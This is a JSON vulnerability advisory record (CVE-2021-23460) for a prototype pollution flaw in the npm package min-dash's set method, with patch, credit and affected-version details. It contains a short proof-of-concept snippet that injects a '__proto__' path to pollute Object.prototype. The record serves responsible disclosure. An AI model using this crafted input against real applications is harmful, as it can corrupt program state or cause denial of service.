{"id":"GHSA-2m53-83f3-562j","summary":"Prototype pollution in min-dash","details":"### Impact\n\nThe `set` method is vulnerable to prototype pollution with specially crafted inputs.\n\n```javascript\n// insert the following into poc.js and run node poc,js (after installing the package)\n \nlet parser = require(\"min-dash\");\nparser.set({}, [[\"__proto__\"], \"polluted\"], \"success\");\nconsole.log(polluted);\n```\n\n### Patches\n\n`min-dash\u003e=3.8.1` fix the issue.\n\n### Workarounds\n\nNo workarounds exist for the issue.\n\n### References\n\nClosed via https://github.com/bpmn-io/min-dash/pull/21.\n\n### Credits\n\nCredits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.","aliases":["CVE-2021-23460"],"modified":"2025-07-18T20:12:18.479182Z","published":"2022-02-01T00:44:35Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-1321"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2022-01-27T23:11:40Z"},"references":[{"type":"WEB","url":"https://github.com/bpmn-io/min-dash/security/advisories/GHSA-2m53-83f3-562j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23460"},{"type":"WEB","url":"https://github.com/bpmn-io/min-dash/pull/21"},{"type":"WEB","url":"https://github.com/bpmn-io/min-dash/commit/2c6689e2aa29f4b66a4874a2f3003431e9db48d1"},{"type":"PACKAGE","url":"https://github.com/bpmn-io/min-dash"},{"type":"WEB","url":"https://github.com/bpmn-io/min-dash/blob/c4d579c0eb2ed0739592111c3906b198921d3f52/lib/object.js#L32"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2342127"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-MINDASH-2340605"}],"affected":[{"package":{"name":"min-dash","ecosystem":"npm","purl":"pkg:npm/min-dash"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.8.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/02/GHSA-2m53-83f3-562j/GHSA-2m53-83f3-562j.json"}},{"package":{"name":"org.webjars.npm:min-dash","ecosystem":"Maven","purl":"pkg:maven/org.webjars.npm/min-dash"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.8.1"}]}],"versions":["3.2.0","3.4.0","3.5.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/02/GHSA-2m53-83f3-562j/GHSA-2m53-83f3-562j.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}